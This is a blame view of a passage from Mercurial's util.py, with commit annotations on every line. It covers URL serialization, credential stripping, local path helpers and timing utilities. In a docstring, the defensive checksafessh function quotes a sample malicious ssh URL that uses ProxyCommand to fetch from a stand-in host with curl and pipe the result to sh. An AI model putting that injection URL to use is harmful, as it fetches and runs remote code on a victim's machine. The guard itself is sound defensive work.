util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents:
15392
diff
changeset
|
2820 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2821 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2822 'http://user:pw@host:80/?foo=bar&baz=42' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2823 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2824 'http://user:pw@host:80/?foo=bar%3dbaz' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2825 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2826 'ssh://user:pw@[::1]:2200//home/joe#' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2827 >>> bytes(url(b'http://localhost:80//')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2828 'http://localhost:80//' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2829 >>> bytes(url(b'http://localhost:80/')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2830 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2831 >>> bytes(url(b'http://localhost:80')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2832 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2833 >>> bytes(url(b'bundle:foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2834 'bundle:foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2835 >>> bytes(url(b'bundle://../foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2836 'bundle:../foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2837 >>> bytes(url(b'path')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2838 'path' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2839 >>> bytes(url(b'file:///tmp/foo/bar')) |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2840 'file:///tmp/foo/bar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2841 >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
15611 | 2842 'file:///c:/tmp/foo/bar' |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
2843 >>> print(url(br'bundle:foo\bar')) |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
2844 bundle:foo\bar |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
2845 >>> print(url(br'file:///D:\data\hg')) |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2846 file:///D:\data\hg |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2847 """ |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2848 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2849 s = self.path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2850 if self.scheme == 'bundle': |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2851 s = 'bundle:' + s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2852 if self.fragment: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2853 s += '#' + self.fragment |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2854 return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2855 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2856 s = self.scheme + ':' |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2857 if self.user or self.passwd or self.host: |
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2858 s += '//' |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2859 elif self.scheme and (not self.path or self.path.startswith('/') |
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2860 or hasdriveletter(self.path)): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2861 s += '//' |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2862 if hasdriveletter(self.path): |
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2863 s += '/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2864 if self.user: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2865 s += urlreq.quote(self.user, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2866 if self.passwd: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2867 s += ':' + urlreq.quote(self.passwd, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2868 if self.user or self.passwd: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2869 s += '@' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2870 if self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2871 if not (self.host.startswith('[') and self.host.endswith(']')): |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2872 s += urlreq.quote(self.host) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2873 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2874 s += self.host |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2875 if self.port: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2876 s += ':' + urlreq.quote(self.port) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2877 if self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2878 s += '/' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2879 if self.path: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2880 # TODO: similar to the query string, we should not unescape the |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2881 # path when we store it, the path might contain '%2f' = '/', |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2882 # which we should *not* escape. |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2883 s += urlreq.quote(self.path, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2884 if self.query: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2885 # we store the query in escaped form. |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2886 s += '?' + self.query |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2887 if self.fragment is not None: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2888 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2889 return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2890 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2891 __str__ = encoding.strmethod(__bytes__) |
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2892 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2893 def authinfo(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2894 user, passwd = self.user, self.passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2895 try: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2896 self.user, self.passwd = None, None |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
2897 s = bytes(self) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2898 finally: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2899 self.user, self.passwd = user, passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2900 if not self.user: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2901 return (s, None) |
15028
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
2902 # authinfo[1] is passed to urllib2 password manager, and its |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
2903 # URIs must not contain credentials. The host is passed in the |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
2904 # URIs list because Python < 2.4.3 uses only that to search for |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
2905 # a password. |
15024
0f1311e829c9
http: strip credentials from urllib2 manager URIs (issue2885)
Patrick Mezard <pmezard@gmail.com>
parents:
15018
diff
changeset
|
2906 return (s, (None, (s, self.host), |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2907 self.user, self.passwd or '')) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2908 |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2909 def isabs(self): |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2910 if self.scheme and self.scheme != 'file': |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2911 return True # remote URL |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2912 if hasdriveletter(self.path): |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2913 return True # absolute for our purposes - can't be joined() |
33096
d9962854a4a2
py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
33094
diff
changeset
|
2914 if self.path.startswith(br'\\'): |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2915 return True # Windows UNC path |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2916 if self.path.startswith('/'): |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2917 return True # POSIX-style |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2918 return False |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2919 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2920 def localpath(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2921 if self.scheme == 'file' or self.scheme == 'bundle': |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2922 path = self.path or '/' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2923 # For Windows, we need to promote hosts containing drive |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2924 # letters to paths with drive letters. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2925 if hasdriveletter(self._hostport): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2926 path = self._hostport + '/' + self.path |
15496
396e83d635a6
url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents:
15488
diff
changeset
|
2927 elif (self.host is not None and self.path |
396e83d635a6
url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents:
15488
diff
changeset
|
2928 and not hasdriveletter(path)): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2929 path = '/' + path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2930 return path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2931 return self._origpath |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2932 |
20353
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
2933 def islocal(self): |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
2934 '''whether localpath will return something that posixfile can open''' |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
2935 return (not self.scheme or self.scheme == 'file' |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
2936 or self.scheme == 'bundle') |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
2937 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2938 def hasscheme(path): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2939 return bool(url(path).scheme) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2940 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2941 def hasdriveletter(path): |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2942 return path and path[1:2] == ':' and path[0:1].isalpha() |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2943 |
14825
de9eb6b1da4f
util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents:
14766
diff
changeset
|
2944 def urllocalpath(path): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2945 return url(path, parsequery=False, parsefragment=False).localpath() |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2946 |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2947 def checksafessh(path): |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2948 """check if a path / url is a potentially unsafe ssh exploit (SEC) |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2949 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2950 This is a sanity check for ssh urls. ssh will parse the first item as |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2951 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2952 Let's prevent these potentially exploited urls entirely and warn the |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2953 user. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2954 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2955 Raises an error.Abort when the url is unsafe. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2956 """ |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2957 path = urlreq.unquote(path) |
33660
3fee7f7d2da0
ssh: unban the use of pipe character in user@host:port string
Yuya Nishihara <yuya@tcha.org>
parents:
33657
diff
changeset
|
2958 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2959 raise error.Abort(_('potentially unsafe url: %r') % |
36724
ca201470abb4
util: fix unsafe url abort with bytestr() on url
Augie Fackler <augie@google.com>
parents:
36701
diff
changeset
|
2960 (pycompat.bytestr(path),)) |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2961 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2962 def hidepassword(u): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2963 '''hide user credential in a url string''' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2964 u = url(u) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2965 if u.passwd: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2966 u.passwd = '***' |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
2967 return bytes(u) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2968 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2969 def removeauth(u): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2970 '''remove all authentication information from a url string''' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2971 u = url(u) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2972 u.user = u.passwd = None |
37366
b23e3cc1afd4
py3: return bytes from util.removeauth()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
37322
diff
changeset
|
2973 return bytes(u) |
14515
76f295eaed86
util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents:
14313
diff
changeset
|
2974 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2975 timecount = unitcountfn( |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2976 (1, 1e3, _('%.0f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2977 (100, 1, _('%.1f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2978 (10, 1, _('%.2f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2979 (1, 1, _('%.3f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2980 (100, 0.001, _('%.1f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2981 (10, 0.001, _('%.2f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2982 (1, 0.001, _('%.3f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2983 (100, 0.000001, _('%.1f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2984 (10, 0.000001, _('%.2f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2985 (1, 0.000001, _('%.3f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2986 (100, 0.000000001, _('%.1f ns')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2987 (10, 0.000000001, _('%.2f ns')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2988 (1, 0.000000001, _('%.3f ns')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2989 ) |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2990 |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2991 @attr.s |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2992 class timedcmstats(object): |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2993 """Stats information produced by the timedcm context manager on entering.""" |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2994 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2995 # the starting value of the timer as a float (meaning and resulution is |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2996 # platform dependent, see util.timer) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2997 start = attr.ib(default=attr.Factory(lambda: timer())) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2998 # the number of seconds as a floating point value; starts at 0, updated when |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2999 # the context is exited. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3000 elapsed = attr.ib(default=0) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3001 # the number of nested timedcm context managers. |
8751d1e2a7ff
util: create a context manager to handle timing
